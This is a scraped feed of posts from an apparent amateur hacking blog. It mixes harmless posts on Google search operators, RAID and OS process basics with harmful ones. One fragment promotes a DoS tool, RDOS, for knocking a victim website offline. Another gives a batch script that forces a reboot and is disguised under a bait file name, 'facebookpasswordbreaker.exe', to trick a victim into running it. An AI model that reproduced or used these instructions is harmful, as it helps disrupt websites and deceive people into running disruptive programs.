href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrX0xjHRhmkyWD7LGGStszO0OlqafLhnAyxpR_cO8vQp6amV2VI6XziKY1vG3Bfq56ZI4QRyF-M4Bcw_PFRcDbG-PAKX3ID76LV1sXwS5B2792cDtklXQKgXq_Ku-iSgmQRwR_pSXDXwo/s1600/crazyping.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrX0xjHRhmkyWD7LGGStszO0OlqafLhnAyxpR_cO8vQp6amV2VI6XziKY1vG3Bfq56ZI4QRyF-M4Bcw_PFRcDbG-PAKX3ID76LV1sXwS5B2792cDtklXQKgXq_Ku-iSgmQRwR_pSXDXwo/s320/crazyping.JPG" width="320" /></a></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">3.<b>RDOS</b>: is another tool which makes more specific attack, It blows attack on particular port, for example the SMTP port, the FTP port, the HTTP port etc. this tools requires the victim's ip and the port you wish to attack, and press enter the tool will start attacking and trust me it sends like thousands of fake request at a moment and if you open even 10 such windows and attack a single ip of a website it takes less than 4 min and you will start noticing the affect on the victim website, as soon as you try to open the website using your browser. It will not open.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi7uouF6_2PcmV4o_cg-uYUdn8BQTHuCfzCmO9NScvq4e9TgLa70OnPt9Gb-8eTG4J5HzPajiBL_oRPuMQG1Dic-I6MoALONwZiUstVobgfqr07uC5ibHjsJw88ZplD0mVOX3nqIqiwF0/s1600/rdos.JPG" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi7uouF6_2PcmV4o_cg-uYUdn8BQTHuCfzCmO9NScvq4e9TgLa70OnPt9Gb-8eTG4J5HzPajiBL_oRPuMQG1Dic-I6MoALONwZiUstVobgfqr07uC5ibHjsJw88ZplD0mVOX3nqIqiwF0/s640/rdos.JPG" /></a></div><div style="text-align: justify;"></div><div style="text-align: justify;"><span style="font-size: xx-small;">PS: you must know that DOS or DDOS are criminal activities, so if anyone who tries this is doing at his/her own risk.The website is for educational purpose not for promoting criminal activity.</span></div><div style="text-align: justify;"><br />
</div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-45358166147470470402012-03-05T06:08:00.000-08:002014-01-08T05:14:31.673-08:00Computer Shutdown after every few Minutes | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Well before we start with the process of hacking we have to know few tricks,so today i have this for you, </div><div style="text-align: justify;">I know almost everyone has gone through this menace one in your lifetime, your system boots up and as soon as you reach the windows it just restart's itself. After some hits on the keyboard or a kick to the computer you just go berserk and most of you would just demand a RE-INSTALLATION of Windows to solve the problem,</div><div style="text-align: justify;">This is as a prank or a jocular plan played by either someone on the internet or by someone who knows you and a little bit about computers.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">this is how this goes :</div><div style="text-align: justify;"></div><a name='more'></a><br />
<br />
<ol style="text-align: left;"><li> Goto Notepad</li>
<li>Open Notepad</li>
<li>Write in line 1: @echo off</li>
<li>line 2: msg* "ANY MESSAGE THAT YOU WOULD LIKE TO DISPLAY BEFORE SYSTEM SHUTS DOWN" most of the <a href="http://en.wikipedia.org/wiki/Script_kiddie" target="_blank">script kiddies</a> (or actual hackers) to make it look like system fault write down a custom made message to make it look like system's fault.</li>
<li>line 3: PAUSE</li>
<li>line 4: shutdown -r -t 300 -c where 300 is the number of seconds after which your computer will restart </li>
<li>save it as a bate-name.exe file for eg: facebookpasswordbreaker.exe</li>
<li>as soon as the victim or your victim clicks on it the .exe is executed and thus you go berserk and you attacker gets a laugh.</li>
</ol>Now how to recover from this problem, (if ever you face it)<br />
<br />
<ol style="text-align: left;"><li>Goto Start/or find My computer icon on Desktop</li>
<li>Right-click My Computer, </li>
<li>Click on Properties. </li>
<li>Click the Advanced tab. </li>
<li>Find Start-up and Recovery text , </li>
<li>Click Settings to open the Start-up and Recovery dialog box. </li>
<li>Clear the Automatically restart check box, and click OK the necessary number of times. </li>
<li>Restart your computer for the settings to take effect. </li>
</ol>if the problem is not resolved then in that case the following might be the reason of your problem :-<br />
<ol style="text-align: left;"><li>Software incompatibilities, including driver issues </li>
<li>BIOS problems </li>
<li>Overheating of Processor</li>
<li>Weak Memory Module ir RAM</li>
<li>Bad Power Supply</li>
<li>Bad Motherboard </li>
</ol>Contact your repair or customer support for fixing the problem </div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-6380196985729776592012-03-05T05:17:00.003-08:002014-01-08T05:14:49.031-08:00New Tricks for Computer<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on">Before coming to the main part first we have to know a few tricks, which many would find cool or funny and I know mostly will find them useful.<br />
<br />
<br />
</div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-87614883995966707992012-03-04T09:06:00.002-08:002014-01-08T05:14:59.629-08:00Gone are the Dumb ways, Using Google the Smart Way<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Today all of us accept that <a href="http://www.google.com/">google </a>is one of the most important search tool today not only because it's efficiency but also because of it's effectiveness and user friendliness. All of us accept whenever we want to search anything we write the text in the small space and everything just pops in-front of us. <br />
<br />
But one thing is very annoying about <a href="http://www.google.com/">google </a>it's search shows everything and most of you will agree that 99% of the stuff that is displayed is useless to us, so how do we reduce those 1 million search options to just a few 100 or even 20 or even 1.<br />
<br />
Google Tricks at your service :-<br />
</div><a name='more'></a><div class="separator" style="clear: both; text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid871UQxkfEG53Qm5DFeftJm7rPpMnPHB4D6CIVldAXmZZ2fuy4T8_X9B6OP0XaA9Jv1zjePUHCWybKmJ0gVGNL8GtqABh2fwRpPtqiDXke1J7Ua3aKg6OMCdVHF01NsyPn6dmibpWHLc/s1600/1.JPG" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><br />
</a></div><div style="text-align: justify;"><b>Have You Tried "" : </b>Yes it correct I just used <span class="st"><em>double quotation </em></span>well try it yourself, we all know google makes searches on the basis of keywords. Whenever we type anything in the search bar it splits our request into distinct keywords and thus the website with the maximum number and higher page rank (reputation on the cyber space) pops up and many a time we don't even get what we want to search. now using double quotations ("") will save a lot of your time<em>. </em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid871UQxkfEG53Qm5DFeftJm7rPpMnPHB4D6CIVldAXmZZ2fuy4T8_X9B6OP0XaA9Jv1zjePUHCWybKmJ0gVGNL8GtqABh2fwRpPtqiDXke1J7Ua3aKg6OMCdVHF01NsyPn6dmibpWHLc/s1600/1.JPG" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid871UQxkfEG53Qm5DFeftJm7rPpMnPHB4D6CIVldAXmZZ2fuy4T8_X9B6OP0XaA9Jv1zjePUHCWybKmJ0gVGNL8GtqABh2fwRpPtqiDXke1J7Ua3aKg6OMCdVHF01NsyPn6dmibpWHLc/s640/1.JPG" width="640" /></a></div><div style="text-align: justify;"></div><div style="text-align: justify;"><em></em>Well this above is a normal search, wow a lot of options to choose from but many of them would be fake or just text or selling books on cash or credit. but we didn't search for them we want a to download The lost symbol e book for free. Now look at this search</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv4J7Ka5HmoAkGpuMUnbXVHYXuh7tqI7Bvs1-rvipsqZxQzlxDq0Xl-z6_8t8YiYGc6v4Igcv_WpMhc31SC7dBwxu5vw7TTI02rmaYd09YzrfiYvql3vMz_BWitV9k3Z6nP1AICsPNlNk/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv4J7Ka5HmoAkGpuMUnbXVHYXuh7tqI7Bvs1-rvipsqZxQzlxDq0Xl-z6_8t8YiYGc6v4Igcv_WpMhc31SC7dBwxu5vw7TTI02rmaYd09YzrfiYvql3vMz_BWitV9k3Z6nP1AICsPNlNk/s640/2.JPG" width="640" /></a></div><div style="text-align: justify;">we placed the above in enqoutes and walaah we reduced our searched from 200 thousand to mere 40 thousand, well is a topic is specific this does the trick.</div><div style="text-align: justify;"><b><br />
</b></div><div style="text-align: justify;"><b>Have You Tried Using Type:</b> well the above type of searched is successful in most type of specific topic search, but what to do is the topic is quite vast and has many interpretations like the above one the book can be of any format document 93 or 97 or 2010 then what or it's a presentation or its a pdf or its a set of pictures scanned. now to end the whole problem what we do is add a type '<b>PDF</b>' this would help our search alot.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMEI9nSu1tgJEfyaHTXAw2wzH4G8FqG5d3bQ_R98XFWQaRWMrFRXPWmxd_NIimGc4SHSNHI-uqy4gJKUsggtXxpcSLkD06YC0zzFZAy9f4TtF3Pg1scRtkOplaYvzsgvj8J5g2_SKV3mc/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMEI9nSu1tgJEfyaHTXAw2wzH4G8FqG5d3bQ_R98XFWQaRWMrFRXPWmxd_NIimGc4SHSNHI-uqy4gJKUsggtXxpcSLkD06YC0zzFZAy9f4TtF3Pg1scRtkOplaYvzsgvj8J5g2_SKV3mc/s640/3.JPG" width="640" /></a></div><div style="text-align: justify;"> only 6 searches to choose from how about that..!!! this is called an intelligent search, now we can use the types such as .doc,.ppt.xlc and also for the 2007/10 versions of office , pdf, mp3, wav, .avi etc.isn't this great. now this is called a smart search</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>Have You Used the Specification of Data: </b>well this is also a part or lie in the category of type matching but this time you are finding files that are in form of text or url or image etc.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">example you wish to find this particular set of lines which we need to search on the internet and when we do we get this bizarre outputs, to avoid that we can instead use</div><div style="text-align: justify;"><b>intext: anything you would like to search in form of text</b></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">similarly will hold up for something go if you wish to find a particular url or link on the internet</div><div style="text-align: justify;"><b>inurl:www.domain name you wish to search.extension "the topic you wish to search from the website"</b></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>Other Tricks Are:</b></div><ol style="text-align: left;"><li><a href="http://www.thefreedictionary.com/concatenation" target="_blank"><b>Concatenation </b></a>(please refer the link to meaning) well as you have read google searches everything on the basis of keyword. when you search you might have noticed that google's searches (most of them) have partial keywords not all of them this again leads to a dumb search now you can use '+' symbol to avoid that. eg : you wish to search for "Rocky stole the helmet from Capricorn" now what you should do instead is type the above as "Rocky+stole+the+helmet+from+Capricorn" now instaed of 6 different key words we have 1 keyword to look for.</li>
<li><b>Google as Calculator </b>did you know if you type any mathematical calculation involving <span id="goog_533857214"></span><a href="http://www.blogger.com/">+<span id="goog_533857215"></span></a>,<a href="http://www.google.co.in/#hl=en&safe=off&output=search&sclient=psy-ab&q=34+-78&psj=1&oq=34+-78&aq=f&aqi=&aql=&gs_sm=3&gs_upl=1504l1982l0l2300l6l4l0l0l0l0l218l802l0.3.1l4l0&gs_l=hp.3...1504l1982l0l2300l6l4l0l0l0l0l218l802l0j3j1l4l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">-</a>,<a href="http://www.google.co.in/#hl=en&safe=off&sclient=psy-ab&q=34+*78&psj=1&oq=34+*78&aq=f&aqi=g-C2g-vC8&aql=&gs_sm=3&gs_upl=34804l35011l1l35331l2l2l0l0l0l1l325l535l2-1.1l2l0&gs_l=hp.3..0i33l2j0i15i33l8.34804l35011l1l35334l2l2l0l0l0l1l325l535l2-1j1l2l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">*</a>,<a href="http://www.google.co.in/#hl=en&safe=off&sclient=psy-ab&q=34+%2F78&psj=1&oq=34+%2F78&aq=f&aqi=g-C2g-vC8&aql=&gs_sm=3&gs_upl=15893l16377l2l16666l2l2l1l0l0l0l230l230l2-1l1l0&gs_l=hp.3..0i33l2j0i15i33l8.15893l16377l2l16668l2l2l1l0l0l0l230l230l2-1l1l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">/</a>,<a href="http://www.google.co.in/#hl=en&safe=off&sclient=psy-ab&q=sqrt+10&psj=1&oq=sqrt+10&aq=f&aqi=g10&aql=&gs_sm=3&gs_upl=12158l14851l3l14877l7l7l0l0l0l0l1727l3959l2-3.8-2l5l0&gs_l=hp.3..0l10.12158l14851l3l14880l7l7l0l0l0l0l1727l3959l2-3j8-2l5l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">sqrt</a>,<a href="http://www.google.co.in/#hl=en&safe=off&sclient=psy-ab&q=12%5E6&psj=1&oq=12%5E6&aq=f&aqi=g-C9g-sC1&aql=&gs_sm=3&gs_upl=4554l6184l5l7261l4l4l2l0l0l0l226l451l2-2l2l0&gs_l=hp.3..0i33l9j0i10i33.4554l6184l5l7263l4l4l2l0l0l0l226l451l2-2l2l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">^ </a>in integer or decimal form google will produce you the desired result</li>
<li><b>Google as Converter: </b>did you know you can also use Google to convert values of the same type <a href="http://www.google.co.in/search?q=google+convreter&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&safe=off&client=firefox-a&hs=31u&rls=org.mozilla:en-US%3Aofficial&sclient=psy-ab&q=12+%24+to+euro&psj=1&oq=12+%24+to+euro&aq=f&aqi=g-vC5g-jC3g-mC2&aql=&gs_sm=3&gs_upl=54845l62940l0l62948l14l13l1l0l0l0l383l2614l2-7.3l10l0&gs_l=serp.3..0i15i33l5j0i18i33l3j0i5i33l2.54845l62940l0l62951l14l13l1l0l0l0l383l2614l2-7j3l10l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">currency</a>, <a href="http://www.google.co.in/search?q=google+convreter&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&safe=off&client=firefox-a&hs=AjF&rls=org.mozilla:en-US%3Aofficial&sclient=psy-ab&q=1+meter+to+ft&psj=1&oq=1+meter+to+ft&aq=f&aqi=g1g-b2&aql=&gs_sm=3&gs_upl=4077l11292l4l11648l14l14l8l0l0l0l225l1287l2-6l6l0&gs_l=serp.3..0j0i8l2.4077l11292l4l11648l14l14l8l0l0l0l225l1287l2-6l6l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">distance</a>, <a href="http://www.google.co.in/search?q=google+convreter&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&safe=off&client=firefox-a&hs=MjF&rls=org.mozilla:en-US%3Aofficial&sclient=psy-ab&q=13+degrees+celsius+to+fahrenheit&psj=1&oq=13+degrees+celsius+&aq=1s&aqi=g1g-s1g1g-s1g-v2g-j1g-m2g-bm1&aql=&gs_sm=3&gs_upl=22547l31757l5l35037l10l10l1l3l3l0l272l1345l2-6l6l0&gs_l=serp.3.1.0j0i10j0j0i10j0i15l2j0i18j0i5l2j0i8i5.22547l31757l5l35038l10l10l1l3l3l0l272l1345l2-6l6l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">temperature</a>, <a href="http://www.google.co.in/search?q=google+convreter&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&safe=off&client=firefox-a&hs=84u&rls=org.mozilla:en-US%3Aofficial&sclient=psy-ab&q=12+kilometers+per+hour+to+meters+per+second&psj=1&oq=12+kilometers+per+hour+to+meters+per+second&aq=f&aqi=&aql=&gs_sm=3&gs_upl=8288l30803l9l31621l30l30l2l2l2l0l645l5774l0.14.11.5-1l26l0&gs_l=serp.3...8288l30803l9l31621l30l30l2l2l2l0l645l5774l0j14j11j5-1l26l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank">speed </a>etc.</li>
<li><a href="http://www.google.co.in/search?q=google+convreter&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&safe=off&client=firefox-a&hs=8lF&rls=org.mozilla:en-US:official&sa=X&psj=1&ei=lZ1TT7jBFcPqrQe1wZGuDQ&ved=0CBoQvwUoAQ&q=time+california&spell=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank"><b>Google as a watch</b></a></li>
<li><a href="http://www.google.co.in/search?q=google+convreter&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&safe=off&client=firefox-a&hs=wmF&rls=org.mozilla:en-US:official&sa=X&psj=1&ei=x51TT_nhCoaHrAfc7ujQDQ&ved=0CBoQvwUoAQ&q=define+window&spell=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank"><b>Google as Dictionary </b></a></li>
<li><a href="http://www.google.co.in/search?q=google+convreter&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&safe=off&client=firefox-a&hs=9Sa&rls=org.mozilla:en-US%3Aofficial&sclient=psy-ab&q=weather+chicago&psj=1&oq=weather+chicago&aq=f&aqi=g10&aql=&gs_sm=3&gs_upl=3635l5102l15l5479l7l7l2l2l2l0l289l730l2-3l3l0&gs_l=serp.3..0l10.3635l5102l15l5479l7l7l2l2l2l0l289l730l2-3l3l0&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=1395c12de6a85340&biw=1280&bih=548" target="_blank"><b>Google as Weatherman</b></a></li>
<li><a href="http://maps.google.co.in/maps?hl=en&safe=off&client=firefox-a&hs=2Ua&rls=org.mozilla:en-US:official&psj=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&biw=1280&bih=548&q=detroit&um=1&ie=UTF-8&hq=&hnear=0x8824ca0110cb1d75:0x5776864e35b9c4d2,Detroit,+MI,+USA&gl=in&ei=m55TT6fZEMnorAeJscDZDQ&sa=X&oi=geocode_result&ct=title&resnum=4&ved=0CEoQ8gEwAw" target="_blank"><b>Google to a Map</b></a></li>
<li><b>Google to See Movie timing</b> in your nearest theater, you have to goto<cite><a href="http://www.google.in/movies"> ww.<b>google</b>.com/movies</a> </cite><cite></cite>and type the name of the movie you wish to watch and enter location on your left and here you have the theaters in locality and show timings.<cite></cite><cite><br />
</cite></li>
</ol></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-41033608948955441212012-02-29T08:21:00.000-08:002014-01-08T05:15:07.632-08:00Operating System (STORAGE) RAID Technology<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;"><b>RAID Technology:</b></div><div style="text-align: justify;"><b><br />
</b></div><div style="font-family: Verdana,sans-serif; text-align: justify;"><span style="font-size: small;">RAID Technology is</span><span style="font-size: small;"> <span style="background-color: white; line-height: 19px;">RAID <i>(<u>redundant array of independent disks</u></i>; originally </span><span style="background-color: white; line-height: 19px;">redundant array of inexpensive disks</span><span style="background-color: white; line-height: 19px;">) is a way of storing the same data in different places (thus, redundantly) on multiple Hard Disk. This technology is basically a strategy which help to maintain a backup of data with Storage, the basic purpose to understand RAID is that server is also used as a tool to store data on the Cyber Space so this data present on the server is backed up using the Mirror techniques present in RAID Technology.</span></span></div><div style="font-family: Verdana,sans-serif; text-align: justify;"><span style="font-size: small;"><span style="background-color: white; line-height: 19px;"><a name='more'></a></span></span></div><div style="font-family: Verdana,sans-serif; text-align: justify;"><span style="font-size: small;"><span style="line-height: 19px;">RAID Technology is basically divided into two components:</span></span></div><div style="font-family: Verdana,sans-serif;"><ol><li style="text-align: justify;"><span style="font-size: small;"><span style="line-height: 19px;">Striping</span></span></li>
<li style="text-align: justify;"><span style="font-size: small;"><span style="line-height: 19px;">Mirroring </span></span></li>
</ol><div style="text-align: justify;"><span style="font-size: small;"><span style="line-height: 19px;"><i>Striping</i> is the process of storage of data on the storage disk in form of strips or lines of data, filling up one row at a time.</span></span></div></div><div style="font-family: Verdana,sans-serif; text-align: justify;"><span style="font-size: small;"><span style="line-height: 19px;"><br />
</span></span></div><div style="font-family: Verdana,sans-serif; text-align: justify;"><span style="font-size: small;"><span style="line-height: 19px;"><i>Mirroring </i>is the process of creating a copy of data that has been stripped/stored inside the hard disk ie creating a copy of data stored so that even if the data crashed or gets corrupted can be restored.</span></span></div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-44350711751202117352012-02-29T08:20:00.000-08:002014-01-08T05:15:15.986-08:00Operating System Basics Part-1<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;"><b>What is a Process ?</b></div><div style="text-align: justify;"><b><br />
</b></div><div style="text-align: justify;">A Process is defined as the executing program of a computer, A program is basically a combination of Active and Inactive section and the Active Section of a program is called a Process. </div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>Process Cycle :</b></div><div style="text-align: justify;"><b><br />
</b></div><div style="text-align: justify;"><b>Ready Queue--> Running (CPU/Server)-->Terminate[end cycle] or Wait Queue-->Read Queue</b></div><div> Diagram:<br />
<a name='more'></a></div><div style="text-align: justify;"><span style="font-size: xx-small;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdr5NKEBjxd0NWShU8zNdNtBRQ9L8SFQ64lNzL_vD8mRLgx4pknwy6updmjUWRoK0BI-rWwE4jZInE8bE_16MSG9iRQRzZeym78kWQOY0yCmoFNWHMLHAqSt_dtmHUHkfHlvL76128Mo5n/s1600/process1.PNG" style="font-size: 8pt;" /></span> </div><div style="text-align: justify;"><span style="font-size: small;">Now the same process is carried out by on the network where the request is made by a client. If the Server is free the request is serviced else the request is put in new request queue.</span></div></div>Unknownnoreply@blogger.com0